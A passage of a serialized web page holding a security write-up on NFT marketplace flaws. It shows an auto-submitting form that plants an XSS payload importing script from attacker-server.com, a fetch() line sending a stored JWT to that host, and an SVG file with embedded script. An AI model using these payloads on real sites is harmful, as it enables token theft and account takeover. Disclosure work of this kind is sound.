\u003C/script>\n\u003C/html>\n",[33655],{"type":21,"tag":66,"props":33656,"children":33657},{"__ignoreMap":7},[33658,33673,33688,33719,33794,33845,34033,34072,34087,34102,34109,34124,34131,34142,34193,34200,34255,34282,34317,34324,34359,34366,34387,34398,34405,34420],{"type":21,"tag":85,"props":33659,"children":33660},{"class":87,"line":88},[33661,33665,33669],{"type":21,"tag":85,"props":33662,"children":33663},{"style":32821},[33664],{"type":26,"value":117},{"type":21,"tag":85,"props":33666,"children":33667},{"style":102},[33668],{"type":26,"value":32828},{"type":21,"tag":85,"props":33670,"children":33671},{"style":32821},[33672],{"type":26,"value":313},{"type":21,"tag":85,"props":33674,"children":33675},{"class":87,"line":98},[33676,33680,33684],{"type":21,"tag":85,"props":33677,"children":33678},{"style":32821},[33679],{"type":26,"value":32840},{"type":21,"tag":85,"props":33681,"children":33682},{"style":102},[33683],{"type":26,"value":32845},{"type":21,"tag":85,"props":33685,"children":33686},{"style":32821},[33687],{"type":26,"value":313},{"type":21,"tag":85,"props":33689,"children":33690},{"class":87,"line":151},[33691,33695,33699,33703,33707,33711,33715],{"type":21,"tag":85,"props":33692,"children":33693},{"style":32821},[33694],{"type":26,"value":32840},{"type":21,"tag":85,"props":33696,"children":33697},{"style":102},[33698],{"type":26,"value":32861},{"type":21,"tag":85,"props":33700,"children":33701},{"style":32821},[33702],{"type":26,"value":10877},{"type":21,"tag":85,"props":33704,"children":33705},{"style":114},[33706],{"type":26,"value":32870},{"type":21,"tag":85,"props":33708,"children":33709},{"style":32821},[33710],{"type":26,"value":32875},{"type":21,"tag":85,"props":33712,"children":33713},{"style":102},[33714],{"type":26,"value":32861},{"type":21,"tag":85,"props":33716,"children":33717},{"style":32821},[33718],{"type":26,"value":313},{"type":21,"tag":85,"props":33720,"children":33721},{"class":87,"line":160},[33722,33726,33730,33734,33738,33742,33746,33750,33754,33758,33762,33766,33770,33774,33778,33782,33786,33790],{"type":21,"tag":85,"props":33723,"children":33724},{"style":32821},[33725],{"type":26,"value":32891},{"type":21,"tag":85,"props":33727,"children":33728},{"style":102},[33729],{"type":26,"value":32896},{"type":21,"tag":85,"props":33731,"children":33732},{"style":120},[33733],{"type":26,"value":32901},{"type":21,"tag":85,"props":33735,"children":33736},{"style":169},[33737],{"type":26,"value":741},{"type":21,"tag":85,"props":33739,"children":33740},{"style":5026},[33741],{"type":26,"value":32910},{"type":21,"tag":85,"props":33743,"children":33744},{"style":120},[33745],{"type":26,"value":32915},{"type":21,"tag":85,"props":33747,"children":33748},{"style":169},[33749],{"type":26,"value":741},{"type":21,"tag":85,"props":33751,"children":33752},{"style":5026},[33753],{"type":26,"value":32924},{"type":21,"tag":85,"props":33755,"children":33756},{"style":120},[33757],{"type":26,"value":17532},{"type":21,"tag":85,"props":33759,"children":33760},{"style":169},[33761],{"type":26,"value":741},{"type":21,"tag":85,"props":33763,"children":33764},{"style":5026},[33765],{"type":26,"value":32937},{"type":21,"tag":85,"props":33767,"children":33768},{"style":120},[33769],{"type":26,"value":32942},{"type":21,"tag":85,"props":33771,"children":33772},{"style":169},[33773],{"type":26,"value":741},{"type":21,"tag":85,"props":33775,"children":33776},{"style":5026},[33777],{"type":26,"value":32951},{"type":21,"tag":85,"props":33779,"children":33780},{"style":120},[33781],{"type":26,"value":32956},{"type":21,"tag":85,"props":33783,"children":33784},{"style":169},[33785],{"type":26,"value":741},{"type":21,"tag":85,"props":33787,"children":33788},{"style":5026},[33789],{"type":26,"value":32965},{"type":21,"tag":85,"props":33791,"children":33792},{"style":32821},[33793],{"type":26,"value":313},{"type":21,"tag":85,"props":33795,"children":33796},{"class":87,"line":185},[33797,33801,33805,33809,33813,33817,33821,33825,33829,33833,33837,33841],{"type":21,"tag":85,"props":33798,"children":33799},{"style":32821},[33800],{"type":26,"value":32977},{"type":21,"tag":85,"props":33802,"children":33803},{"style":102},[33804],{"type":26,"value":2724},{"type":21,"tag":85,"props":33806,"children":33807},{"style":120},[33808],{"type":26,"value":32986},{"type":21,"tag":85,"props":33810,"children":33811},{"style":169},[33812],{"type":26,"value":741},{"type":21,"tag":85,"props":33814,"children":33815},{"style":5026},[33816],{"type":26,"value":32995},{"type":21,"tag":85,"props":33818,"children":33819},{"style":120},[33820],{"type":26,"value":33000},{"type":21,"tag":85,"props":33822,"children":33823},{"style":169},[33824],{"type":26,"value":741},{"type":21,"tag":85,"props":33826,"children":33827},{"style":5026},[33828],{"type":26,"value":33009},{"type":21,"tag":85,"props":33830,"children":33831},{"style":120},[33832],{"type":26,"value":32901},{"type":21,"tag":85,"props":33834,"children":33835},{"style":169},[33836],{"type":26,"value":741},{"type":21,"tag":85,"props":33838,"children":33839},{"style":5026},[33840],{"type":26,"value":33022},{"type":21,"tag":85,"props":33842,"children":33843},{"style":32821},[33844],{"type":26,"value":313},{"type":21,"tag":85,"props":33846,"children":33847},{"class":87,"line":501},[33848,33852,33856,33860,33864,33868,33872,33876,33880,33884,33888,33892,33897,33901,33906,33910,33915,33919,33924,33929,33933,33937,33942,33947,33952,33957,33962,33967,33971,33976,33980,33984,33989,33993,33998,34003,34008,34012,34016,34020,34025,34029],{"type":21,"tag":85,"props":33849,"children":33850},{"style":32821},[33851],{"type":26,"value":33034},{"type":21,"tag":85,"props":33853,"children":33854},{"style":102},[33855],{"type":26,"value":2724},{"type":21,"tag":85,"props":33857,"children":33858},{"style":120},[33859],{"type":26,"value":32986},{"type":21,"tag":85,"props":33861,"children":33862},{"style":169},[33863],{"type":26,"value":741},{"type":21,"tag":85,"props":33865,"children":33866},{"style":5026},[33867],{"type":26,"value":33051},{"type":21,"tag":85,"props":33869,"children":33870},{"style":120},[33871],{"type":26,"value":33000},{"type":21,"tag":85,"props":33873,"children":33874},{"style":169},[33875],{"type":26,"value":741},{"type":21,"tag":85,"props":33877,"children":33878},{"style":5026},[33879],{"type":26,"value":33064},{"type":21,"tag":85,"props":33881,"children":33882},{"style":120},[33883],{"type":26,"value":32956},{"type":21,"tag":85,"props":33885,"children":33886},{"style":169},[33887],{"type":26,"value":741},{"type":21,"tag":85,"props":33889,"children":33890},{"style":5026},[33891],{"type":26,"value":20487},{"type":21,"tag":85,"props":33893,"children":33894},{"style":102},[33895],{"type":26,"value":33896},"{"",{"type":21,"tag":85,"props":33898,"children":33899},{"style":5026},[33900],{"type":26,"value":33086},{"type":21,"tag":85,"props":33902,"children":33903},{"style":102},[33904],{"type":26,"value":33905},"":"<",{"type":21,"tag":85,"props":33907,"children":33908},{"style":5026},[33909],{"type":26,"value":4681},{"type":21,"tag":85,"props":33911,"children":33912},{"style":102},[33913],{"type":26,"value":33914},"/",{"type":21,"tag":85,"props":33916,"children":33917},{"style":5026},[33918],{"type":26,"value":33115},{"type":21,"tag":85,"props":33920,"children":33921},{"style":102},[33922],{"type":26,"value":33923},"=",{"type":21,"tag":85,"props":33925,"children":33926},{"style":5026},[33927],{"type":26,"value":33928},"x onerror",{"type":21,"tag":85,"props":33930,"children":33931},{"style":102},[33932],{"type":26,"value":33923},{"type":21,"tag":85,"props":33934,"children":33935},{"style":5026},[33936],{"type":26,"value":19910},{"type":21,"tag":85,"props":33938,"children":33939},{"style":102},[33940],{"type":26,"value":33941},"(`",{"type":21,"tag":85,"props":33943,"children":33944},{"style":5026},[33945],{"type":26,"value":33946},"https",{"type":21,"tag":85,"props":33948,"children":33949},{"style":102},[33950],{"type":26,"value":33951},"://",{"type":21,"tag":85,"props":33953,"children":33954},{"style":5026},[33955],{"type":26,"value":33956},"attacker-server",{"type":21,"tag":85,"props":33958,"children":33959},{"style":102},[33960],{"type":26,"value":33961},".",{"type":21,"tag":85,"props":33963,"children":33964},{"style":5026},[33965],{"type":26,"value":33966},"com",{"type":21,"tag":85,"props":33968,"children":33969},{"style":102},[33970],{"type":26,"value":33914},{"type":21,"tag":85,"props":33972,"children":33973},{"style":5026},[33974],{"type":26,"value":33975},"leak",{"type":21,"tag":85,"props":33977,"children":33978},{"style":102},[33979],{"type":26,"value":33961},{"type":21,"tag":85,"props":33981,"children":33982},{"style":5026},[33983],{"type":26,"value":31810},{"type":21,"tag":85,"props":33985,"children":33986},{"style":102},[33987],{"type":26,"value":33988},"`)>","",{"type":21,"tag":85,"props":33990,"children":33991},{"style":5026},[33992],{"type":26,"value":33173},{"type":21,"tag":85,"props":33994,"children":33995},{"style":102},[33996],{"type":26,"value":33997},"":"",{"type":21,"tag":85,"props":33999,"children":34000},{"style":5026},[34001],{"type":26,"value":34002},"profile-assets",{"type":21,"tag":85,"props":34004,"children":34005},{"style":102},[34006],{"type":26,"value":34007},"","",{"type":21,"tag":85,"props":34009,"children":34010},{"style":5026},[34011],{"type":26,"value":33202},{"type":21,"tag":85,"props":34013,"children":34014},{"style":102},[34015],{"type":26,"value":33997},{"type":21,"tag":85,"props":34017,"children":34018},{"style":5026},[34019],{"type":26,"value":33211},{"type":21,"tag":85,"props":34021,"children":34022},{"style":102},[34023],{"type":26,"value":34024},""}",{"type":21,"tag":85,"props":34026,"children":34027},{"style":5026},[34028],{"type":26,"value":20487},{"type":21,"tag":85,"props":34030,"children":34031},{"style":32821},[34032],{"type":26,"value":33225},{"type":21,"tag":85,"props":34034,"children":34035},{"class":87,"line":697},[34036,34040,34044,34048,34052,34056,34060,34064,34068],{"type":21,"tag":85,"props":34037,"children":34038},{"style":32821},[34039],{"type":26,"value":33034},{"type":21,"tag":85,"props":34041,"children":34042},{"style":102},[34043],{"type":26,"value":2724},{"type":21,"tag":85,"props":34045,"children":34046},{"style":120},[34047],{"type":26,"value":32986},{"type":21,"tag":85,"props":34049,"children":34050},{"style":169},[34051],{"type":26,"value":741},{"type":21,"tag":85,"props":34053,"children":34054},{"style":5026},[34055],{"type":26,"value":33249},{"type":21,"tag":85,"props":34057,"children":34058},{"style":120},[34059],{"type":26,"value":32956},{"type":21,"tag":85,"props":34061,"children":34062},{"style":169},[34063],{"type":26,"value":741},{"type":21,"tag":85,"props":34065,"children":34066},{"style":5026},[34067],{"type":26,"value":33262},{"type":21,"tag":85,"props":34069,"children":34070},{"style":32821},[34071],{"type":26,"value":33225},{"type":21,"tag":85,"props":34073,"children":34074},{"class":87,"line":706},[34075,34079,34083],{"type":21,"tag":85,"props":34076,"children":34077},{"style":32821},[34078],{"type":26,"value":33274},{"type":21,"tag":85,"props":34080,"children":34081},{"style":102},[34082],{"type":26,"value":32896},{"type":21,"tag":85,"props":34084,"children":34085},{"style":32821},[34086],{"type":26,"value":313},{"type":21,"tag":85,"props":34088,"children":34089},{"class":87,"line":1100},[34090,34094,34098],{"type":21,"tag":85,"props":34091,"children":34092},{"style":32821},[34093],{"type":26,"value":33290},{"type":21,"tag":85,"props":34095,"children":34096},{"style":102},[34097],{"type":26,"value":32845},{"type":21,"tag":85,"props":34099,"children":34100},{"style":32821},[34101],{"type":26,"value":313},{"type":21,"tag":85,"props":34103,"children":34104},{"class":87,"line":1339},[34105],{"type":21,"tag":85,"props":34106,"children":34107},{"emptyLinePlaceholder":16},[34108],{"type":26,"value":703},{"type":21,"tag":85,"props":34110,"children":34111},{"class":87,"line":1348},[34112,34116,34120],{"type":21,"tag":85,"props":34113,"children":34114},{"style":32821},[34115],{"type":26,"value":32840},{"type":21,"tag":85,"props":34117,"children":34118},{"style":102},[34119],{"type":26,"value":32861},{"type":21,"tag":85,"props":34121,"children":34122},{"style":32821},[34123],{"type":26,"value":313},{"type":21,"tag":85,"props":34125,"children":34126},{"class":87,"line":1386},[34127],{"type":21,"tag":85,"props":34128,"children":34129},{"emptyLinePlaceholder":16},[34130],{"type":26,"value":703},{"type":21,"tag":85,"props":34132,"children":34133},{"class":87,"line":1394},[34134,34138],{"type":21,"tag":85,"props":34135,"children":34136},{"style":114},[34137],{"type":26,"value":33335},{"type":21,"tag":85,"props":34139,"children":34140},{"style":102},[34141],{"type":26,"value":11296},{"type":21,"tag":85,"props":34143,"children":34144},{"class":87,"line":1402},[34145,34149,34153,34157,34161,34165,34169,34173,34177,34181,34185,34189],{"type":21,"tag":85,"props":34146,"children":34147},{"style":120},[34148],{"type":26,"value":33347},{"type":21,"tag":85,"props":34150,"children":34151},{"style":120},[34152],{"type":26,"value":33352},{"type":21,"tag":85,"props":34154,"children":34155},{"style":169},[34156],{"type":26,"value":33357},{"type":21,"tag":85,"props":34158,"children":34159},{"style":2885},[34160],{"type":26,"value":33362},{"type":21,"tag":85,"props":34162,"children":34163},{"style":169},[34164],{"type":26,"value":717},{"type":21,"tag":85,"props":34166,"children":34167},{"style":2885},[34168],{"type":26,"value":33362},{"type":21,"tag":85,"props":34170,"children":34171},{"style":1021},[34172],{"type":26,"value":33375},{"type":21,"tag":85,"props":34174,"children":34175},{"style":169},[34176],{"type":26,"value":1439},{"type":21,"tag":85,"props":34178,"children":34179},{"style":5026},[34180],{"type":26,"value":33384},{"type":21,"tag":85,"props":34182,"children":34183},{"style":169},[34184],{"type":26,"value":33389},{"type":21,"tag":85,"props":34186,"children":34187},{"style":1021},[34188],{"type":26,"value":33394},{"type":21,"tag":85,"props":34190,"children":34191},{"style":169},[34192],{"type":26,"value":2086},{"type":21,"tag":85,"props":34194,"children":34195},{"class":87,"line":3145},[34196],{"type":21,"tag":85,"props":34197,"children":34198},{"emptyLinePlaceholder":16},[34199],{"type":26,"value":703},{"type":21,"tag":85,"props":34201,"children":34202},{"class":87,"line":3246},[34203,34207,34211,34215,34219,34223,34227,34231,34235,34239,34243,34247,34251],{"type":21,"tag":85,"props":34204,"children":34205},{"style":120},[34206],{"type":26,"value":1931},{"type":21,"tag":85,"props":34208,"children":34209},{"style":120},[34210],{"type":26,"value":33417},{"type":21,"tag":85,"props":34212,"children":34213},{"style":169},[34214],{"type":26,"value":33357},{"type":21,"tag":85,"props":34216,"children":34217},{"style":102},[34218],{"type":26,"value":15541},{"type":21,"tag":85,"props":34220,"children":34221},{"style":1021},[34222],{"type":26,"value":33430},{"type":21,"tag":85,"props":34224,"children":34225},{"style":169},[34226],{"type":26,"value":33435},{"type":21,"tag":85,"props":34228,"children":34229},{"style":120},[34230],{"type":26,"value":33394},{"type":21,"tag":85,"props":34232,"children":34233},{"style":169},[34234],{"type":26,"value":23489},{"type":21,"tag":85,"props":34236,"children":34237},{"style":5026},[34238],{"type":26,"value":33448},{"type":21,"tag":85,"props":34240,"children":34241},{"style":169},[34242],{"type":26,"value":33453},{"type":21,"tag":85,"props":34244,"children":34245},{"style":120},[34246],{"type":26,"value":33458},{"type":21,"tag":85,"props":34248,"children":34249},{"style":5026},[34250],{"type":26,"value":33463},{"type":21,"tag":85,"props":34252,"children":34253},{"style":169},[34254],{"type":26,"value":33468},{"type":21,"tag":85,"props":34256,"children":34257},{"class":87,"line":3255},[34258,34262,34266,34270,34274,34278],{"type":21,"tag":85,"props":34259,"children":34260},{"style":120},[34261],{"type":26,"value":33347},{"type":21,"tag":85,"props":34263,"children":34264},{"style":120},[34265],{"type":26,"value":33480},{"type":21,"tag":85,"props":34267,"children":34268},{"style":169},[34269],{"type":26,"value":33357},{"type":21,"tag":85,"props":34271,"children":34272},{"style":102},[34273],{"type":26,"value":15541},{"type":21,"tag":85,"props":34275,"children":34276},{"style":1021},[34277],{"type":26,"value":33493},{"type":21,"tag":85,"props":34279,"children":34280},{"style":169},[34281],{"type":26,"value":4437},{"type":21,"tag":85,"props":34283,"children":34284},{"class":87,"line":3286},[34285,34289,34293,34297,34301,34305,34309,34313],{"type":21,"tag":85,"props":34286,"children":34287},{"style":120},[34288],{"type":26,"value":33505},{"type":21,"tag":85,"props":34290,"children":34291},{"style":169},[34292],{"type":26,"value":73},{"type":21,"tag":85,"props":34294,"children":34295},{"style":120},[34296],{"type":26,"value":33514},{"type":21,"tag":85,"props":34298,"children":34299},{"style":169},[34300],{"type":26,"value":73},{"type":21,"tag":85,"props":34302,"children":34303},{"style":1021},[34304],{"type":26,"value":10052},{"type":21,"tag":85,"props":34306,"children":34307},{"style":169},[34308],{"type":26,"value":1439},{"type":21,"tag":85,"props":34310,"children":34311},{"style":120},[34312],{"type":26,"value":33531},{"type":21,"tag":85,"props":34314,"children":34315},{"style":169},[34316],{"type":26,"value":777},{"type":21,"tag":85,"props":34318,"children":34319},{"class":87,"line":3295},[34320],{"type":21,"tag":85,"props":34321,"children":34322},{"emptyLinePlaceholder":16},[34323],{"type":26,"value":703},{"type":21,"tag":85,"props":34325,"children":34326},{"class":87,"line":3308},[34327,34331,34335,34339,34343,34347,34351,34355],{"type":21,"tag":85,"props":34328,"children":34329},{"style":120},[34330],{"type":26,"value":33550},{"type":21,"tag":85,"props":34332,"children":34333},{"style":169},[34334],{"type":26,"value":73},{"type":21,"tag":85,"props":34336,"children":34337},{"style":120},[34338],{"type":26,"value":33559},{"type":21,"tag":85,"props":34340,"children":34341},{"style":169},[34342],{"type":26,"value":33357},{"type":21,"tag":85,"props":34344,"children":34345},{"style":120},[34346],{"type":26,"value":33568},{"type":21,"tag":85,"props":34348,"children":34349},{"style":169},[34350],{"type":26,"value":73},{"type":21,"tag":85,"props":34352,"children":34353},{"style":120},[34354],{"type":26,"value":33559},{"type":21,"tag":85,"props":34356,"children":34357},{"style":169},[34358],{"type":26,"value":2535},{"type":21,"tag":85,"props":34360,"children":34361},{"class":87,"line":3333},[34362],{"type":21,"tag":85,"props":34363,"children":34364},{"emptyLinePlaceholder":16},[34365],{"type":26,"value":703},{"type":21,"tag":85,"props":34367,"children":34368},{"class":87,"line":3369},[34369,34374,34378,34383],{"type":21,"tag":85,"props":34370,"children":34371},{"style":120},[34372],{"type":26,"value":34373},"        form123",{"type":21,"tag":85,"props":34375,"children":34376},{"style":169},[34377],{"type":26,"value":73},{"type":21,"tag":85,"props":34379,"children":34380},{"style":1021},[34381],{"type":26,"value":34382},"submit",{"type":21,"tag":85,"props":34384,"children":34385},{"style":169},[34386],{"type":26,"value":2086},{"type":21,"tag":85,"props":34388,"children":34389},{"class":87,"line":3377},[34390,34394],{"type":21,"tag":85,"props":34391,"children":34392},{"style":102},[34393],{"type":26,"value":33588},{"type":21,"tag":85,"props":34395,"children":34396},{"style":114},[34397],{"type":26,"value":33593},{"type":21,"tag":85,"props":34399,"children":34400},{"class":87,"line":3386},[34401],{"type":21,"tag":85,"props":34402,"children":34403},{"emptyLinePlaceholder":16},[34404],{"type":26,"value":703},{"type":21,"tag":85,"props":34406,"children":34407},{"class":87,"line":3394},[34408,34412,34416],{"type":21,"tag":85,"props":34409,"children":34410},{"style":32821},[34411],{"type":26,"value":33290},{"type":21,"tag":85,"props":34413,"children":34414},{"style":102},[34415],{"type":26,"value":32861},{"type":21,"tag":85,"props":34417,"children":34418},{"style":32821},[34419],{"type":26,"value":313},{"type":21,"tag":85,"props":34421,"children":34422},{"class":87,"line":3410},[34423,34427,34431],{"type":21,"tag":85,"props":34424,"children":34425},{"style":32821},[34426],{"type":26,"value":32875},{"type":21,"tag":85,"props":34428,"children":34429},{"style":102},[34430],{"type":26,"value":32828},{"type":21,"tag":85,"props":34432,"children":34433},{"style":32821},[34434],{"type":26,"value":313},{"type":21,"tag":22,"props":34436,"children":34437},{},[34438],{"type":26,"value":34439},"This script automatically sends the following config in POST body, which triggers the XSS and imports a malicious javascript file from attacker's server:",{"type":21,"tag":75,"props":34441,"children":34445},{"className":34442,"code":34443,"language":34444,"meta":7,"style":7},"language-json shiki shiki-themes slack-dark","{\n  \"address\": \"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\",\n  \"to\": \"profile-assets\",\n  \"type\": \"icon\"\n}\n","json",[34446],{"type":21,"tag":66,"props":34447,"children":34448},{"__ignoreMap":7},[34449,34456,34477,34498,34515],{"type":21,"tag":85,"props":34450,"children":34451},{"class":87,"line":88},[34452],{"type":21,"tag":85,"props":34453,"children":34454},{"style":114},[34455],{"type":26,"value":11296},{"type":21,"tag":85,"props":34457,"children":34458},{"class":87,"line":98},[34459,34464,34468,34473],{"type":21,"tag":85,"props":34460,"children":34461},{"style":120},[34462],{"type":26,"value":34463},"  \"address\"",{"type":21,"tag":85,"props":34465,"children":34466},{"style":114},[34467],{"type":26,"value":15750},{"type":21,"tag":85,"props":34469,"children":34470},{"style":5026},[34471],{"type":26,"value":34472},"\"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\"",{"type":21,"tag":85,"props":34474,"children":34475},{"style":114},[34476],{"type":26,"value":182},{"type":21,"tag":85,"props":34478,"children":34479},{"class":87,"line":151},[34480,34485,34489,34494],{"type":21,"tag":85,"props":34481,"children":34482},{"style":120},[34483],{"type":26,"value":34484},"  \"to\"",{"type":21,"tag":85,"props":34486,"children":34487},{"style":114},[34488],{"type":26,"value":15750},{"type":21,"tag":85,"props":34490,"children":34491},{"style":5026},[34492],{"type":26,"value":34493},"\"profile-assets\"",{"type":21,"tag":85,"props":34495,"children":34496},{"style":114},[34497],{"type":26,"value":182},{"type":21,"tag":85,"props":34499,"children":34500},{"class":87,"line":160},[34501,34506,34510],{"type":21,"tag":85,"props":34502,"children":34503},{"style":120},[34504],{"type":26,"value":34505},"  \"type\"",{"type":21,"tag":85,"props":34507,"children":34508},{"style":114},[34509],{"type":26,"value":15750},{"type":21,"tag":85,"props":34511,"children":34512},{"style":5026},[34513],{"type":26,"value":34514},"\"icon\"\n",{"type":21,"tag":85,"props":34516,"children":34517},{"class":87,"line":185},[34518],{"type":21,"tag":85,"props":34519,"children":34520},{"style":114},[34521],{"type":26,"value":2671},{"type":21,"tag":22,"props":34523,"children":34524},{},[34525],{"type":26,"value":34526},"Then, the imported script is able to exfiltrate the JWT authentication token from stashh.io:",{"type":21,"tag":75,"props":34528,"children":34530},{"className":31808,"code":34529,"language":31810,"meta":7,"style":7},"fetch(`https://attacker-server.com/?token_leak=${localStorage.getItem('token')}`);\n",[34531],{"type":21,"tag":66,"props":34532,"children":34533},{"__ignoreMap":7},[34534],{"type":21,"tag":85,"props":34535,"children":34536},{"class":87,"line":88},[34537,34542,34546,34551,34556,34561,34565,34570,34574,34579,34583,34588,34592],{"type":21,"tag":85,"props":34538,"children":34539},{"style":1021},[34540],{"type":26,"value":34541},"fetch",{"type":21,"tag":85,"props":34543,"children":34544},{"style":114},[34545],{"type":26,"value":1439},{"type":21,"tag":85,"props":34547,"children":34548},{"style":5026},[34549],{"type":26,"value":34550},"`https://attacker-server.com/?token_leak=",{"type":21,"tag":85,"props":34552,"children":34553},{"style":102},[34554],{"type":26,"value":34555},"${",{"type":21,"tag":85,"props":34557,"children":34558},{"style":120},[34559],{"type":26,"value":34560},"localStorage",{"type":21,"tag":85,"props":34562,"children":34563},{"style":169},[34564],{"type":26,"value":73},{"type":21,"tag":85,"props":34566,"children":34567},{"style":1021},[34568],{"type":26,"value":34569},"getItem",{"type":21,"tag":85,"props":34571,"children":34572},{"style":169},[34573],{"type":26,"value":1439},{"type":21,"tag":85,"props":34575,"children":34576},{"style":5026},[34577],{"type":26,"value":34578},"'token'",{"type":21,"tag":85,"props":34580,"children":34581},{"style":169},[34582],{"type":26,"value":1900},{"type":21,"tag":85,"props":34584,"children":34585},{"style":102},[34586],{"type":26,"value":34587},"}",{"type":21,"tag":85,"props":34589,"children":34590},{"style":5026},[34591],{"type":26,"value":10797},{"type":21,"tag":85,"props":34593,"children":34594},{"style":114},[34595],{"type":26,"value":777},{"type":21,"tag":10022,"props":34597,"children":34599},{"id":34598},"svgs",[34600],{"type":26,"value":34601},"SVGs",{"type":21,"tag":22,"props":34603,"children":34604},{},[34605],{"type":26,"value":34606},"After closely analyzing various NFT marketplaces, we noticed a common shared feature; the ability to update profile pictures or insert NFT assets using SVG files. SVG is an XML- based format that defines graphics and how they interact.",{"type":21,"tag":22,"props":34608,"children":34609},{},[34610],{"type":26,"value":34611},"Unbeknownst to some people, SVG files can contain JavaScript and run arbitrary scripts.",{"type":21,"tag":75,"props":34613,"children":34615},{"className":31808,"code":34614,"language":31810,"meta":7,"style":7},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   alert(document.domain);\n   \u003C/script>\n \u003C/svg>\n",[34616],{"type":21,"tag":66,"props":34617,"children":34618},{"__ignoreMap":7},[34619,34665,34702,34709,34739,34771,34799,34807,34823],{"type":21,"tag":85,"props":34620,"children":34621},{"class":87,"line":88},[34622,34627,34632,34637,34641,34646,34651,34655,34660],{"type":21,"tag":85,"props":34623,"children":34624},{"style":169},[34625],{"type":26,"value":34626},"\u003C?",{"type":21,"tag":85,"props":34628,"children":34629},{"style":120},[34630],{"type":26,"value":34631},"xml",{"type":21,"tag":85,"props":34633,"children":34634},{"style":120},[34635],{"type":26,"value":34636}," version",{"type":21,"tag":85,"props":34638,"children":34639},{"style":169},[34640],{"type":26,"value":741},{"type":21,"tag":85,"props":34642,"children":34643},{"style":5026},[34644],{"type":26,"value":34645},"\"1.0\"",{"type":21,"tag":85,"props":34647,"children":34648},{"style":120},[34649],{"type":26,"value":34650}," encoding",{"type":21,"tag":85,"props":34652,"children":34653},{"style":169},[34654],{"type":26,"value":741},{"type":21,"tag":85,"props":34656,"children":34657},{"style":5026},[34658],{"type":26,"value":34659},"\"UTF-8\"",{"type":21,"tag":85,"props":34661,"children":34662},{"style":169},[34663],{"type":26,"value":34664},"?>\n",{"type":21,"tag":85,"props":34666,"children":34667},{"class":87,"line":98},[34668,34673,34678,34683,34688,34693,34698],{"type":21,"tag":85,"props":34669,"children":34670},{"style":169},[34671],{"type":26,"value":34672},"\u003C!",{"type":21,"tag":85,"props":34674,"children":34675},{"style":120},[34676],{"type":26,"value":34677},"DOCTYPE",{"type":21,"tag":85,"props":34679,"children":34680},{"style":120},[34681],{"type":26,"value":34682}," svg",{"type":21,"tag":85,"props":34684,"children":34685},{"style":120},[34686],{"type":26,"value":34687}," PUBLIC",{"type":21,"tag":85,"props":34689,"children":34690},{"style":5026},[34691],{"type":26,"value":34692}," \"-//W3C//DTD SVG 1.1//EN\"",{"type":21,"tag":85,"props":34694,"children":34695},{"style":5026},[34696],{"type":26,"value":34697}," \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"",{"type":21,"tag":85,"props":34699,"children":34700},{"style":169},[34701],{"type":26,"value":313},{"type":21,"tag":85,"props":34703,"children":34704},{"class":87,"line":151},[34705],{"type":21,"tag":85,"props":34706,"children":34707},{"emptyLinePlaceholder":16},[34708],{"type":26,"value":703},{"type":21,"tag":85,"props":34710,"children":34711},{"class":87,"line":160},[34712,34716,34721,34726,34730,34735],{"type":21,"tag":85,"props":34713,"children":34714},{"style":32821},[34715],{"type":26,"value":3085},{"type":21,"tag":85,"props":34717,"children":34718},{"style":102},[34719],{"type":26,"value":34720},"svg",{"type":21,"tag":85,"props":34722,"children":34723},{"style":120},[34724],{"type":26,"value":34725}," xmlns",{"type":21,"tag":85,"props":34727,"children":34728},{"style":169},[34729],{"type":26,"value":741},{"type":21,"tag":85,"props":34731,"children":34732},{"style":5026},[34733],{"type":26,"value":34734},"\"http://www.w3.org/2000/svg\"",{"type":21,"tag":85,"props":34736,"children":34737},{"style":32821},[34738],{"type":26,"value":313},{"type":21,"tag":85,"props":34740,"children":34741},{"class":87,"line":185},[34742,34746,34751,34755,34759,34763,34767],{"type":21,"tag":85,"props":34743,"children":34744},{"style":32821},[34745],{"type":26,"value":32840},{"type":21,"tag":85,"props":34747,"children":34748},{"style":102},[34749],{"type":26,"value":34750},"title",{"type":21,"tag":85,"props":34752,"children":34753},{"style":32821},[34754],{"type":26,"value":10877},{"type":21,"tag":85,"props":34756,"children":34757},{"style":114},[34758],{"type":26,"value":31682},{"type":21,"tag":85,"props":34760,"children":34761},{"style":32821},[34762],{"type":26,"value":32875},{"type":21,"tag":85,"props":34764,"children":34765},{"style":102},[34766],{"type":26,"value":34750},{"type":21,"tag":85,"props":34768,"children":34769},{"style":32821},[34770],{"type":26,"value":313},{"type":21,"tag":85,"props":34772,"children":34773},{"class":87,"line":501},[34774,34778,34782,34786,34790,34795],{"type":21,"tag":85,"props":34775,"children":34776},{"style":32821},[34777],{"type":26,"value":32840},{"type":21,"tag":85,"props":34779,"children":34780},{"style":102},[34781],{"type":26,"value":32861},{"type":21,"tag":85,"props":34783,"children":34784},{"style":120},[34785],{"type":26,"value":32986},{"type":21,"tag":85,"props":34787,"children":34788},{"style":169},[34789],{"type":26,"value":741},{"type":21,"tag":85,"props":34791,"children":34792},{"style":5026},[34793],{"type":26,"value":34794},"\"text/javascript\"",{"type":21,"tag":85,"props":34796,"children":34797},{"style":32821},[34798],{"type":26,"value":313},{"type":21,"tag":85,"props":34800,"children":34801},{"class":87,"line":697},[34802],{"type":21,"tag":85,"props":34803,"children":34804},{"style":114},[34805],{"type":26,"value":34806},"   alert(document.domain);\n",{"type":21,"tag":85,"props":34808,"children":34809},{"class":87,"line":706},[34810,34815,34819],{"type":21,"tag":85,"props":34811,"children":34812},{"style":32821},[34813],{"type":26,"value":34814},"   \u003C/",{"type":21,"tag":85,"props":34816,"children":34817},{"style":102},[34818],{"type":26,"value":32861},{"type":21,"tag":85,"props":34820,"children":34821},{"style":32821},[34822],{"type":26,"value":313},{"type":21,"tag":85,"props":34824,"children":34825},{"class":87,"line":1100},[34826,34831,34835],{"type":21,"tag":85,"props":34827,"children":34828},{"style":32821},[34829],{"type":26,"value":34830}," 